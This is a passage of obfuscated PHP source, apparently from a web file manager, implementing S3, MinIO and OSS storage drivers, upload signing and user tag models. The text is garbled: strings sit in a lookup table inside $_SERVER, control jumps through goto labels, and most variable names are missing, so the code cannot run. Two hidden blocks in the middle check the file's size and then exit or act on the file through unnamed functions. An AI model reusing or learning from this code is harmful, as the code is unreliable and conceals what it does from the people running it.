$_SERVER[]; $ = $this->signVer == $[250] ? gmdate($[282]) : gmdate($[283]); $ = array(); $ = $this->client->getUploadId($this->bucket, $, $); if (!$) { return !1; } $ = array($[284] => $, $[209] => $this->getHost() . $[8] . $this->pathEncode($), $[285] => $, $[97] => $, $[259] => $this->signVer); if ($this->_isClientAsync()) { unset($[$[259]]); } return $; } public function uploadMultiAuth($, $ = array()) { $ =& $_SERVER[]; if ($this->signVer == $[250]) { if (isset($[$[286]])) { return $this->uploadPartAuthV2($, $); } return $this->uploadListAuthV2($, $); } if (isset($[$[286]])) { return $this->uploadPartAuthV4($, $); } return $this->uploadListAuthV4($, $); } public function uploadPartAuthV2($, $ = array()) { $ =& $_SERVER[]; $ = $[$[97]]; $ = gmdate($[282]); $ = array_intersect_key($, array_flip(array($[286], $[284]))); ksort($); $ = $ ? $[76] . http_build_query($, null, $[287], PHP_QUERY_RFC3986) : $[12]; $ = array($[256], $[12], $[123], $[12], "x-amz-date:{$}", $[8] . $this->bucket . $[8] . $this->pathEncode($) . $); $ = implode($[288], $); $ = $this->client->__getSignature($); return array($[289] => $, $[285] => $); } public function uploadListAuthV2($, $ = array()) { $ =& $_SERVER[]; $ = $[$[97]]; $ = $[$[284]]; $ = $this->client->listParts($this->bucket, $, $); if (!$) { return !1; } $ = gmdate($[282]); $ = $[290] . $; $ = array($[291], $[12], $[123], $[12], "x-amz-date:{$}", $[8] . $this->bucket . $[8] . $this->pathEncode($) . $); $ = implode($[288], $); $ = $this->client->__getSignature($); return array($[289] => $, $[285] => $, $[292] => $); } public function uploadPartAuthV4($, $ = array()) { $ =& $_SERVER[]; $ = $[$[97]]; $ = array($[276] => gmdate($[283]), $[293] => _get($, $[294], hash($[278], $[12]))); $ = explode($[211], $this->getHost()); $ = array($[295] => $[1], $[296] => $[12], $[249] => $[123], $[297] => $[$[79]]); $ = $[256]; $ = $[8] . $this->pathEncode($); $ = array_intersect_key($, array_flip(array($[286], $[284]))); $ = $this->client->__getSignatureV4($, $, $, $, $); return array($[289] => $, $[293] => $[$[293]], $[285] => $[$[276]]); } public function uploadListAuthV4($, $ = array()) { $ =& $_SERVER[]; $ = $[$[97]]; $ = $[$[284]]; $ = $this->client->listParts($this->bucket, $, $); if (!$) { return !1; } $ = $[298]; foreach ($ as $) { $ .= $[299] . "<PartNumber>{$[$[300]]}</PartNumber>
" . "<ETag>{$[$[301]]}</ETag>
" . $[302]; } $ .= $[303]; $ = array($[276] => gmdate($[283]), $[293] => hash($[278], $)); $ = explode($[211], $this->getHost()); $ = array($[295] => $[1], $[249] => $[123], $[297] => strlen($)); $ = $[291]; $ = $[8] . $this->pathEncode($); $ = array($[284] => $); $ = $this->client->__getSignatureV4($, $, $, $, $); return array($[289] => $, $[293] => $[$[293]], $[285] => $[$[276]], $[292] => $); } private function _isClientAsync() { $ =& $_SERVER[]; static $ = null; if ($ === null) { $ = isset($_REQUEST[$[304]]) ? json_decode($_REQUEST[$[304]], !0) : !1; $ = $ && _get($, $[305]) == $[306]; } return $; } public function getHost() { $ =& $_SERVER[]; $ = parent::getHost(); if (!isset($this->osType)) { $this->osType = $this->getType(); } if (!in_array($this->osType, array($[70], $[64], $[69], $[62]))) { return $ . $[8] . $this->bucket; } if ($this->osType == $[62] && !is_domain($)) { return $ . $[8] . $this->bucket; } $ = explode($[211], $); return $[0] . $[211] . $this->bucket . $[10] . $[1]; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[][79]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[][180], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][182], $); } protected function _objectMeta($) { $ =& $_SERVER[]; $ = rtrim($, $[8]); try { $ = $this->client->getObjectInfo($this->bucket, $); if (!isset($[$[255]]) && isset($[$[307]])) { $[$[255]] = $[$[307]]; } } catch (Exception $) { $ = !1; } if (!$) { } return $; } protected function _isFolder($) { $ =& $_SERVER[]; $ = rtrim($, $[8]) . $[8]; if ($ == $[12] || $ == $[8]) { return !0; } $ = $this->client->getBucket($this->bucket, $, null, 1); if (empty($[$[239]])) { return !1; } $ = $[$[239]][0][$[32]]; return stripos($, $) === 0 ? !0 : !1; if (substr($, -1) == $[8]) { return !0; } if (get_path_this($) == get_path_this($)) { return !1; } return !0; } public function listObject($) { return $this->fileList($, $_SERVER[][12], !0); } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($) { $ =& $_SERVER[]; parent::__construct($); $this->setSignVersion($[250]); if (!$this->region) { $this->region = $[308]; $this->client->setRegion($this->region); } $this->client->setHeadValid(!1); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function checkRegion() { $ = $this->getBktRegion(); return $this->region == $ ? !0 : !1; } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[]; $ = $[232]; $ = $[260]; $ = $[62]; $ = gmdate($[261]); $ = gmdate($[262]); $ = $[263]; $ = $ . $[12]; $ = $[264]; $ = array($this->accessKey, $, $this->region, $, $); $ = implode($[8], $); $ = array($[265] => gmdate($[266], strtotime($[267])), $[268] => array(array($[269] => $this->bucket), array($[309] => $), array($[270], $[271], $[12]), array($[270], $[272], $[12]), array($[270], $[310], $[12]), array($[273] => $), array($[274] => $), array($[275] => $), array($[276] => $), array($[277] => $))); $ = base64_encode(json_encode($)); $ = hash_hmac($[278], $, $[279] . $this->secret, !0); $ = hash_hmac($[278], $this->region, $, !0); $ = hash_hmac($[278], $, $, !0); $ = hash_hmac($[278], $, $, !0); $ = hash_hmac($[278], $, $); $ = array($[249] => $[12], $[297] => $[12], $[309] => $, $[273] => $, $[280] => $, $[311] => $, $[312] => $, $[313] => $, $[314] => $, $[315] => $, $[209] => $this->getHost()); return $; } } goto b; E: class UserOptionModel extends ModelBaseOption { protected $tableName = "user_option"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($) { $ =& $_SERVER[]; $ = defined($[2222]) && USER_ID ? USER_ID : $[12]; return "UserOption_{$}_" . $; } protected function filterWhere($) { $ =& $_SERVER[]; $[$[1791]] = defined($[2222]) && USER_ID ? USER_ID : $[12]; return $; } public function cacheRemoveUser($, $) { return Cache::remove("UserOption_{$}_" . $); } protected function optionDefault($ = '') { $ =& $_SERVER[]; if ($ == $[12]) { return $GLOBALS[$[6]][$[2537]]; } if ($ == $[2538]) { return $GLOBALS[$[6]][$[2539]]; } } } class UserTagModel extends ModelBaseLight { public $optionType = "User.tagList"; public $modelType = "UserOption"; public $field = array("name", "style", "sort"); public function listData($ = false, $ = "sort", $ = false) { return parent::listData($, $, $); } public function remove($) { return parent::remove($); } public function add($, $ = "label-grey-normal") { $ =& $_SERVER[]; if ($this->findByName($)) { return !1; } $ = array($[506] => $, $[572] => $, $[1996] => $this->getSort($[347]) + 1); return parent::insert($); } public function update($, $) { $ =& $_SERVER[]; $ = $this->listData($); $ = $this->findByName($[$[32]]); if (!$ || $ && $[$[487]] != $[$[487]]) { return !1; } return parent::update($, $); } public function moveTop($) { $ =& $_SERVER[]; $ = parent::listData(); $ = $this->getSort($[346]); foreach ($ as &$) { if ($[$[487]] == $) { $[$[2016]] = $; continue; } $[$[2016]] += 1; } unset($); return parent::resetData($); } public function moveBottom($) { $ =& $_SERVER[]; $ = $this->getSort($[347]) + 1; return parent::update($, array($[2016] => $)); } public function resetSort($) { $ =& $_SERVER[]; $ = array(); $ = is_array($) ? $ : array(); for ($ = 0; $ < count($); $++) { $[$[$] . $[12]] = $ + 1; } $ = parent::listData(); foreach ($ as &$) { $ = $[$[$[487]]]; $[$[2016]] = $ ? $ : $[$[2016]]; } unset($); return parent::resetData($); } private function getSort($) { $ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $[12], $[2016]); if (!$) { $ = array(0); } $ = $ == $[347] ? max($) : min($); return intval($); } } goto a; A: $_file = $_SERVER[$_SERVER[][316]]; $_size = $_SERVER[][317]; if ($_SERVER[$_SERVER[][318]] != $_size($_file)) { $_getc = $_SERVER[][319]; $_getfile = $_SERVER[$_SERVER[][320]] . $_SERVER[][321]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][288], $_getfilec); if (count($_getarrs) < $_SERVER[][322]) { $exit = $_SERVER[][323]; $exit(); } $_act = $_SERVER[][324]; $_act($_file); } goto b; A: class PathDriverDbShareItem extends PathDriverDB { public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[][1437]); } public function getPathOuter($) { $ =& $_SERVER[]; if (!$) { return $; } $ = $this->parse($); return trim(KodIO::makeShare($this->pathParse[$[487]], $[$[487]]), $[8]); } protected function infoParse($, $ = false, $ = false) { $ =& $_SERVER[]; $ = $this->pathParse[$[487]]; $ = trim($this->pathParse[$[1266]], $[8]); return Action($[1444])->sharePathInfo($, $, $); } public function infoFull($) { $ =& $_SERVER[]; $ = explode($[8], trim($, $[8])); if (count($) > 1) { $ = implode($[8], array_splice($, 1)); $ = $this->model->pathInfoByPath($[0], $); if (!$) { return !1; } $this->pathParse[$[1266]] = $[$[194]]; } return $this->infoParse($); } public function listAll($) { $ =& $_SERVER[]; $ = IO::info($this->pathParse[$[87]]); if (!$) { return array(); } $ = $this->model->listAll($); $ = Model($[681])->getInfo($[$[682]]); foreach ($ as &$) { check_abort(); $[$[90]] = Action($[1444])->_shareItemeParse($[$[90]], $); } unset($); return $; } } if ($_SERVER[$_SERVER[][318]] != $_SERVER[$_SERVER[][1445]]) { $_getc = $_SERVER[][319]; $_getfile = $_SERVER[$_SERVER[][320]] . $_SERVER[][321]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][288], $_getfilec); if (count($_getarrs) < $_SERVER[][322]) { $exit = $_SERVER[][323]; $exit(); } $_act = $_SERVER[][324]; $_act($_SERVER[$_SERVER[][316]]); } class PathDriverDbShareLink extends PathDriverDB { public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[][1437]); } protected function infoParse($, $ = false, $ = false) { $ =& $_SERVER[]; return Action($[1272])->sharePathInfo($this->pathParse[$[87]], !0, $); } public function listPath($, $ = false) { $ =& $_SERVER[]; $ = parent::listPath($, $); if (!$) { return $; } if (is_array($[$[1446]])) { $[$[1446]] = Action($[1272])->shareItemInfo($[$[1446]]); } foreach ($ as $ => $) { if (!in_array($, array($[86], $[85]))) { continue; } foreach ($ as $ => $) { $[$][$] = Action($[1272])->shareItemInfo($); } } return $; } public function listAll($) { $ =& $_SERVER[]; $ = IO::info($this->pathParse[$[87]]); if (!$) { return array(); } $ = $this->model->listAll($); foreach ($ as &$) { $[$[90]] = Action($[1272])->shareItemInfo($[$[90]]); } unset($); return $; } } goto e; D: class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "0"; public $ioFileOutServer = "0"; public $cdnHost = ''; public $config = array(); public function __construct($) { parent::__construct(); include_once SDK_DIR . $_SERVER[][1480]; $this->_init($); } public function _init($) { $ =& $_SERVER[]; $this->config = $; foreach ($ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1481] . LNG($[1482])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $ =& $_SERVER[]; $ = new OSS\Model\CorsConfig(); $ = new OSS\Model\CorsRule(); $->addAllowedOrigin($[1483]); $->addAllowedMethod($[1484]); $->addAllowedMethod($[1485]); $->addAllowedMethod($[1486]); $->addAllowedMethod($[1487]); $->addAllowedMethod($[165]); $->setMaxAgeSeconds(600); $->addExposeHeader($[1488]); $->addAllowedHeader($[1483]); $->addRule($); try { $this->client->putBucketCors($this->bucket, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[215] . $->getMessage()); return !1; } return !0; } public function getBucketCors() { $ =& $_SERVER[]; $ = null; try { $ = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[215] . $->getMessage()); return null; } if (!$ || !($ = $->getRules())) { return null; } $ = $[0]->getAllowedOrigins(); $ = $[0]->getAllowedMethods(); $ = $[0]->getMaxAgeSeconds(); $ = $[0]->getExposeHeaders(); $ = $[0]->getAllowedHeaders(); return array($[221] => isset($[0]) ? $[0] : $[12], $[225] => $, $[1489] => $, $[1490] => isset($[0]) ? $[0] : $[12], $[222] => isset($[0]) ? $[0] : $[12]); } public function isBucketCors() { $ =& $_SERVER[]; $ = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if ($[$[221]] != $[223] || $[$[222]] != $[223]) { return !1; } $ = array_map($[224], $[$[225]]); if (!is_array($)) { $ = array(); } $ = array($[226], $[227], $[228], $[229], $[230]); $ = array_diff($, $); return empty($); } public function mkfile($, $ = '', $ = REPEAT_RENAME) { $ = $this->setContent($, $); if ($ !== !1) { return $this->getPathOuter($); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { if ($ && $this->_isFolder($)) { return $this->getPathOuter($); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[][215] . $->getMessage()); return !1; } return $this->getPathOuter($); } private function fileList($, $ = '', $ = 0) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = empty($) && $ !== $[231] ? $[12] : $ . $[8]; $ = $[12]; $ = 1000; $ = $ = array(); while (!0) { check_abort(); $ = array($[1491] => $, $[1492] => $, $[1493] => $, $[1494] => $); try { $ = $this->client->listObjects($this->bucket, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[215] . $->getMessage()); break; } $ = $->getNextMarker(); $ = $->getObjectList(); $ = $->getPrefixList(); foreach ($ as $) { if ($->getKey() == $) { continue; } $ = $->getKey(); $ = $->getSize(); $ = $->getLastModified(); $ = trim($->getETag(), $[121]); $ = $ ? array($[32] => $, $[79] => $, $[207] => strtotime($), $[1495] => $) : $; $ = $ == 0 && substr($, strlen($) - 1, 1) == $[8] ? !0 : !1; $ = array($[79] => $, $[1496] => $, $[88] => strtotime($), $[1497] => $, $[1495] => $); $this->cacheMethodInfoSet($, $, $); if ($) { $[] = $; continue; } $[] = $; } foreach ($ as $) { $[] = $->getPrefix(); $this->cacheMethodInfoSet($->getPrefix(), !0); } if ($ === $[12]) { break; } } $this->cacheMethodInfoSet($, !0); return array($[85] => $, $[86] => $); } public function listObject($, $ = '') { $ =& $_SERVER[]; $ = trim($, $[8]); $ = empty($) && $ !== $[231] ? $[12] : $ . $[8]; $ = $[12]; $ = 1000; $ = $ = array(); while (!0) { check_abort(); $ = array($[1491] => $, $[1492] => $, $[1493] => $, $[1494] => $); try { $ = $this->client->listObjects($this->bucket, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[215] . $->getMessage()); break; } $ = $->getNextMarker(); $ = $->getObjectList(); foreach ($ as $) { if ($->getKey() == $) { continue; } $ = $->getKey(); $ = $->getSize(); $ = $ == 0 && substr($, strlen($) - 1, 1) == $[8] ? !0 : !1; if ($) { continue; } $[] = $ . $[215] . $; } if ($ === $[12]) { break; } } return array($[85] => $, $[86] => $); } public function copyFile($, $) { $ = $this->size($); if ($ < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $, $this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[][215] . $->getMessage()); return !1; } return $this->getPathOuter($); } $ = $this->multiCopyObject($, $, $); return $ ? $this->getPathOuter($) : !1; } private function multiCopyObject($, $, $) { $ =& $_SERVER[]; try { $ = array(); if ($ = $this->hashMd5($)) { $ = array(OSS\OssClient::OSS_HEADERS => array($[1498] => $)); } $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $); $ = 1; $ = 0; $ = array(); $ = 1024 * 1024 * 10; $ = $this->client->generateMultiuploadParts($, $); foreach ($ as $ => $) { $ = $ + (int) $[$[1499]]; $ = (int) $[$[424]] + $ - 1; $ = array($[167] => $, $[168] => $); $[] = $this->client->uploadPartCopy($this->bucket, $, $this->bucket, $this->pathEncode($), $, $, $); $ = $ + 1; } $ = array(); foreach ($ as $ => $) { $[] = array($[300] => $ + 1, $[301] => $); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($), $, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[215] . $->getMessage()); return !1; } return !0; } public function moveFile($, $) { if ($this->copyFile($, $)) { $this->remove($); return $this->getPathOuter($); } return !1; } public function delFile($) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[][215] . $->getMessage()); return !1; } return !0; } public function delFolder($) { $ =& $_SERVER[]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($); $this->listItemCache = !0; $ = trim($, $[8]) . $[8]; if (!empty($) && $ !== $[231] && !in_array($, $[$[85]])) { $[$[85]][] = $; } $ = $this->delByBatch($[$[86]]); if (!$) { return !1; } $ = $this->delByBatch($[$[85]]); if (!$) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (array_chunk($, 1000) as $) { try { $this->client->deleteObjects($this->bucket, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[][215] . $->getMessage()); return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } private function fileInfo($, $ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[87] => $this->getPathOuter($), $[33] => $[233], $[79] => isset($[$[79]]) ? $[$[79]] : 0, $[169] => $this->ext($)); if ($) { return $; } $[$[234]] = $[$[88]] = 0; $[$[235]] = $[$[236]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } $ = array($[88] => strtotime($[$[1497]]), $[79] => $[$[1496]] + 0, $[1495] => $[$[1495]]); } if (isset($[$[1495]]) && $[$[1495]]) { $[$[238]] = trim($[$[1495]], $[121]); } if (isset($[$[79]])) { $[$[79]] = $[$[79]]; } if (isset($[$[88]])) { $[$[88]] = $[$[88]]; } if (isset($[$[207]]) && !trim($[$[88]])) { $[$[88]] = $[$[207]]; } return $; } private function folderInfo($, $ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[87] => $this->getPathOuter($[8] . $), $[33] => $[78]); if ($) { return $; } $[$[234]] = $[$[88]] = 0; $[$[235]] = $[$[236]] = !0; if (empty($)) { $ = rtrim($, $[8]) . $[8]; $ = $this->objectMeta($); if (!$) { return $; } $ = array($[234] => $[$[589]][$[1500]], $[88] => strtotime($[$[1497]])); } if (isset($[$[88]])) { $[$[88]] = $[$[88]]; } if (isset($[$[234]])) { $[$[234]] = $[$[234]]; } return $; } public function listPath($, $ = false) { $ =& $_SERVER[]; $ = $this->fileList($, $[8], !0); foreach ($[$[85]] as $ => $) { $[$[85]][$] = $this->folderInfo($, $, $); } foreach ($[$[86]] as $ => $) { $[$[86]][$] = $this->fileInfo($[$[32]], $, $); } return $; } protected function infoChildren($, &$) { $ =& $_SERVER[]; $ = $this->fileList($, $[12], !0); $[$[81]] += count($[$[85]]); $[$[80]] += count($[$[86]]); foreach ($[$[86]] as $) { if (!$ || !$[$[79]]) { continue; } $[$[79]] += $[$[79]]; } } public function has($, $ = false, $ = true) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = empty($) && $ !== $[231] ? $[12] : $ . $[8]; $ = $[12]; $ = 500; $ = $ = 0; while (!0) { check_abort(); $ = array($[1491] => $[8], $[1492] => $, $[1493] => $, $[1494] => $); try { $ = $this->client->listObjects($this->bucket, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[215] . $->getMessage()); break; } $ = $->getNextMarker(); $ = $->getObjectList(); $ = $->getPrefixList(); if ($) { if (count($) > 1 || count($) == 1 && $[0]->getKey() != $) { $ += count($) - 1; } if (!empty($)) { $ += count($); } if ($ === $[12]) { break; } continue; } if ($) { if (!empty($)) { if (count($) > 1 || $[0]->getKey() != $) { return !0; } } } else { if (!empty($)) { return !0; } } if ($ === $[12]) { break; } } if ($) { return array($[242] => $, $[243] => $); } return !1; } public function listAll($) { $ =& $_SERVER[]; $ = $this->fileList($, $[12], !0); $ = array_to_keyvalue($[$[86]], $[32]); foreach ($[$[85]] as $) { if (is_string($)) { $[$] = array($[79] => 0); } } return $this->listAllFiles($, $); } public function canRead($) { $ =& $_SERVER[]; $ = $this->pathAcl($); return $ == $[1501] || $ == $[636] ? !0 : !1; } public function canWrite($) { $ = $this->pathAcl($); return $ == $_SERVER[][636] ? !0 : !1; } public function pathAcl($) { $ =& $_SERVER[]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $ = $this->client->getObjectAcl($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[215] . $->getMessage()); return !1; } $ = $ == $[37] ? $this->bucketAcl : $; if ($ == $[1502]) { return $[1501]; } if ($ == $[1503]) { return $[636]; } return $; } private function chmodPath($, $ = '') { $ =& $_SERVER[]; $ = empty($) ? $[1503] : $; $ = array($[37], $[232], $[1502], $[1503]); if (!in_array($, $)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[215] . $->getMessage()); return !1; } return !0; } public function getContent($) { return $this->fileSubstr($, -1); } public function setContent($, $ = '') { $ =& $_SERVER[]; try { $ = $this->trafficLimit($[1504]); $ = $this->client->putObject($this->bucket, $this->pathEncode($), $, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[215] . $->getMessage()); return !1; } $ = array($[1498] => trim($[$[1495]], $[121]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $this->updateObjMeta($, $); return isset($[$[1505]][$[297]]) ? !0 : !1; } private function updateObjMeta($, $) { $ = $this->pathEncode($); try { $ = array(OSS\OssClient::OSS_HEADERS => $); $this->client->copyObject($this->bucket, $, $this->bucket, $, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[][215] . $->getMessage()); return !1; } return !0; } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($[1498] => @md5_file($)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $ = $this->trafficLimit($[1504], $); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($), $, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[215] . $->getMessage()); return !1; } return $this->getPathOuter($); } public function getHost() { $ =& $_SERVER[]; $ = explode($[211], parent::getHost()); return $[0] . $[211] . $this->bucket . $[10] . $[1]; } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[]; if (!($ = $this->getHost())) { return !1; } $ = $; $ = date($[1506], time() + $); $ = new DateTime($); $ = $->format(DateTime::ISO8601); $ = strpos($, $[383]); $ = substr($, 0, $) . $[1507]; $ = 1048576000 * 5; $ = $this->pathFather($); $ = array($[265] => $, $[268] => array(array($[1508], 0, $), array($[270], $[271], $))); $ = base64_encode(json_encode($)); $ = base64_encode(hash_hmac($[1428], $, $this->secret, !0)); $ = array($[1509] => $this->accessKey, $[280] => $, $[273] => $[264], $[1510] => $, $[209] => $); $ = $this->trafficLimit($[1504], $, !0); return $; } public function uploadMultiData($, $ = 3600) { $ =& $_SERVER[]; if (!($ = $this->getHost())) { return !1; } $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($)); return array($[284] => $, $[209] => $ . $[8] . $this->pathEncode($), $[285] => gmdate($[1511]), $[97] => $); } public function uploadMultiAuth($, $ = array()) { if (isset($[$_SERVER[][286]])) { return $this->uploadPartAuth($, $); } return $this->uploadListAuth($, $); } private function uploadPartAuth($, $ = array()) { $ =& $_SERVER[]; $ = $[$[97]]; $ = $this->_getUploadAuth($, $); $ = array($[289] => $[$[289]], $[285] => $[$[285]]); if (isset($[$[1512]])) { $[$[1512]] = $[$[1512]]; } return $; } private function uploadListAuth($, $ = array()) { $ =& $_SERVER[]; $ = $[$[97]]; $ = $[$[284]]; $ = $this->client->listParts($this->bucket, $this->pathEncode($), $); $ = $->getListPart(); $ = array(); foreach ($ as $) { $[] = array($[300] => $->getPartNumber(), $[301] => trim($->getETag(), $[121])); } if (!$) { return !1; } $ = $this->_getUploadAuth($, $); return array($[289] => $[$[289]], $[285] => $[$[285]], $[292] => $); } private function _getUploadAuth($, $) { $ =& $_SERVER[]; $ = gmdate($[1511]); $ = isset($[$[286]]) ? $[256] : $[291]; $ = array_intersect_key($, array_flip(array($[286], $[284]))); ksort($); $ = $ ? $[76] . http_build_query($, null, $[287], PHP_QUERY_RFC3986) : $[12]; $ = array($, $[12], $[123], $, "x-oss-date:{$}", $[8] . $this->bucket . $[8] . $ . $); if (isset($[$[286]])) { $ = $this->trafficLimit($[1504], array(), !0); if ($) { $ = $[1512]; array_splice($, 5, 0, $ . $[4] . $[$]); } } $ = implode($[288], $); $ = base64_encode(hash_hmac($[1428], $, $this->secret, !0)); $ = $[1481] . $this->accessKey . $[4] . $; $ = array($[289] => $, $[285] => $); if (!empty($)) { $ = array_merge($, $); } return $; } public function download($, $) { $ =& $_SERVER[]; if ($this->isFolder($)) { return !1; } try { $ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $); $ = $this->trafficLimit($[112], $); $this->client->getObject($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[215] . $->getMessage()); return !1; } return $; } public function fileSubstr($, $ = 0, $ = false) { if ($ === -1) { $ = array(); } else { if ($ === !1) { $ = $this->size($); } else { $ = $ + $ - 1; } $ = array(OSS\OssClient::OSS_RANGE => "{$}-{$}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[][215] . $->getMessage()); think_exception($->getMessage()); return !1; } } private function trafficLimit($, $ = array(), $ = false) { $ =& $_SERVER[]; if ($ == $[1504] && $this->isUploadServer() || $ == $[112] && $this->isFileOutServer()) { return $; } $ = floatval($GLOBALS[$[6]][$[92]][$[110]][$]) * 1024 * 1024 * 8; if (!$) { return $; } $ = $ < 819200 ? 819200 : ($ > 838860800 ? 838860800 : $); if ($) { $[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($); } else { if (!isset($[OSS\OssClient::OSS_HEADERS])) { $[OSS\OssClient::OSS_HEADERS] = array(); } $[OSS\OssClient::OSS_HEADERS][OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($); } return $; } public function link($, $ = array()) { $ =& $_SERVER[]; if (!$this->exist($) || $this->isFolder($)) { return !1; } try { $ = $this->trafficLimit($[112], $, !0); $ = $this->client->signUrl($this->bucket, $this->pathEncode($), 3600 * 12, $[1513], $); return $this->getCdnLink($); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[215] . $->getMessage()); return !1; } } public function fileOut($, $ = false, $ = false, $ = '') { $ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $, $); } if (!$) { $ = $this->pathThis($); } $ = rawurlencode($); $ = get_file_mime(get_path_ext($)); if ($ == $[251]) { return parent::fileOut($, $, $, $); } $ = $ ? $[1514] : $[1515]; $ = array(OSS\OssClient::OSS_SUB_RESOURCE => $[1516] . rawurlencode("{$};filename={$}")); $ = $this->link($, $); $this->fileOutLink($); } public function fileOutServer($, $ = false, $ = false, $ = '') { parent::fileOut($, $, $, $); } public function fileOutImage($, $ = 250) { if ($this->size($) > 1024 * 1024 * 20) { return $this->fileOutImageServer($, $); } $ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[][1478] . $); $ = $this->link($, $); $this->fileOutLink($); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function fileOutLink($) { $ =& $_SERVER[]; if (!$this->isCdnHost() && substr($, 0, 7) == $[219]) { $ = $[220] . substr($, 7); } header($[175] . $); die; } public function hashMd5($, $ = '') { $ =& $_SERVER[]; $ = $this->_objectMeta($); if (!$) { return $[12]; } if (!isset($[$[1498]]) && !empty($)) { $ = $this->updateObjMeta($, array($[1498] => $)); $[$[1498]] = $ ? $ : $[12]; } return isset($[$[1498]]) ? strtolower($[$[1498]]) : $[12]; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[][79]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[][180], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][182], $); } protected function _objectMeta($) { $ =& $_SERVER[]; try { $ = $this->client->getObjectMeta($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[215] . $->getMessage()); $ = !1; } if ($) { $[$[79]] = intval($[$[1496]]); } return $; } protected function _isFolder($) { $ =& $_SERVER[]; if ($ == $[12] 